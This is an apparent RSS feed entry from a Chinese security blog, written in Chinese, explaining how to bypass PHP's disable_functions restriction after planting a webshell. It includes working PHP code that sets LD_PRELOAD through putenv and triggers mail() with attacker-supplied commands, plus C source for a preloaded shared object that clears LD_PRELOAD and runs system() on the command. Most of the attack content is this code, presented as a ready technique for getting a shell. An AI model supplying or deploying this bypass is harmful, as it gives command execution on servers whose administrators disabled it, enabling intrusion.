⑨BIE - php
type: channel
link: https://9bie.org/index.php/tag/php/
items: 老调重提，谈谈Bypass disable_function

老调重提，谈谈Bypass disable_function
type: item
date: 2019-11-08T09:36:00+08:00
description: 640.png当你插入webshell的时候，就会遇上这个问题，php.ini中，把能执行命令的函数（例如system）等，都禁掉了怎么办呢？这时候，就可以参考之前那个新坑预定：linux下的进程/文件隐藏中，使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了设置了这个环境变量后，linux会优先加载这个环境变量下的动态链接库程序。那么理论上，我们只需要找到一个会调用库函数的php内置方法，然后再上传我们的so文件，劫持这个库文件添加到LD_PRELOAD全局变量中，那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。然而前提是，你的disable_function没有禁putenv这个函数，否则以上都是空话了。使用例子，putenv+mail函数<?php $cmd = $_POST['cmd']; putenv("EVIL_CMDLINE=" . $cmd); $so_path = $_POST['so']; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); unlink($out_path); ?>以及对应的so文件：reinstall.rar代码如下：#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }其实知晓原理我们自己编写一份也挺简单的，先找到目标函数，去github/各种地方找到函数的原型，因为这次我们不是要HOOK而是直接getshell，原功能可以废弃，所以可以直接把内部实现方法掏空，替换成我们需要执行命令的代码，只需要请求参数和返回参数相同，不让程序崩溃，那么效果就可以达到了。详情可以参考我上面给出的那个连接